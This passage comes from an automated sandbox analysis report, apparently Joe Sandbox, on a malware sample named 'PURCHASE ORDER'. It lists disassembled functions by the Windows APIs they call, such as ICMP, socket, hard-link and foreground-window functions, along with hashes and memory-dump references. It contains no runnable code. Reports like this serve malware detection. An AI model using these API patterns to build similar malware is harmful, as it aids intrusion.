                                                                          • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                          • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                          Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                          • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: ICMP.DLL$IcmpSendEcho
                                                                          • API String ID: 2574300362-58917771
                                                                          • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                          • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                          • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                          • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                          Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                          • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: ICMP.DLL$IcmpCloseHandle
                                                                          • API String ID: 2574300362-3530519716
                                                                          • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                          • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                          • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                          • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                          Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                          • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: ICMP.DLL$IcmpCreateFile
                                                                          • API String ID: 2574300362-275556492
                                                                          • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                          • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                          • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                          • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                          Function 0040EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                          • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: IsWow64Process$kernel32.dll
                                                                          • API String ID: 2574300362-3024904723
                                                                          • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                          • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                          • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                          • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                          Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClearVariant
                                                                          • String ID:
                                                                          • API String ID: 1473721057-0
                                                                          • Opcode ID: 3e9ce65d11b316350caf6cb0db2ee4373dc883206541589756c66e9508b68ec6
                                                                          • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                          • Opcode Fuzzy Hash: 3e9ce65d11b316350caf6cb0db2ee4373dc883206541589756c66e9508b68ec6
                                                                          • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                          Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __flush.LIBCMT ref: 00414630
                                                                          • __fileno.LIBCMT ref: 00414650
                                                                          • __locking.LIBCMT ref: 00414657
                                                                          • __flsbuf.LIBCMT ref: 00414682
                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                          • String ID:
                                                                          • API String ID: 3240763771-0
                                                                          • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                          • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                          • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                          • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                          Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                          • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                          • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                          • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CopyVariant$ErrorLast
                                                                          • String ID:
                                                                          • API String ID: 2286883814-0
                                                                          • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                          • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                          • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                          • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                          Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                          • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                          • #21.WSOCK32 ref: 004740E0
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLast$socket
                                                                          • String ID:
                                                                          • API String ID: 1881357543-0
                                                                          • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                          • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                          • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                          • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                          Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                          • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                          • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                          • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Rect$BeepClientMessageScreenWindow
                                                                          • String ID:
                                                                          • API String ID: 1352109105-0
                                                                          • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                          • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                          • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                          • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                          Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                          • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                          • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                          • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                          • String ID:
                                                                          • API String ID: 3058430110-0
                                                                          • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                          • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                          • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                          • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                          Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                          • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                          • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                          • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateHardLink$DeleteErrorFileLast
                                                                          • String ID:
                                                                          • API String ID: 3321077145-0
                                                                          • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                          • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                          • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                          • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                          Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetParent.USER32(?), ref: 004505BF
                                                                          • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                          • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                          • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Proc$Parent
                                                                          • String ID:
                                                                          • API String ID: 2351499541-0
                                                                          • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                          • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                          • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                          • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                          Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                          • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                          • __itow.LIBCMT ref: 00461461
                                                                          • __itow.LIBCMT ref: 004614AB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$__itow$_wcslen
                                                                          • String ID:
                                                                          • API String ID: 2875217250-0
                                                                          • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                          • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                          • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                          • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                          Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0040E202
                                                                          • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: IconNotifyShell__memset
                                                                          • String ID:
                                                                          • API String ID: 928536360-0
                                                                          • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                          • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                          • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                          • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                          Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetForegroundWindow.USER32 ref: 00472806
                                                                            • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                            • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                            • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                          • GetCaretPos.USER32(?), ref: 0047281A
                                                                          • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                          • GetForegroundWindow.USER32 ref: 0047285C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                          • String ID:
                                                                          • API String ID: 2759813231-0
                                                                          • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                          • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                          • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                          • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                          Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                          • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
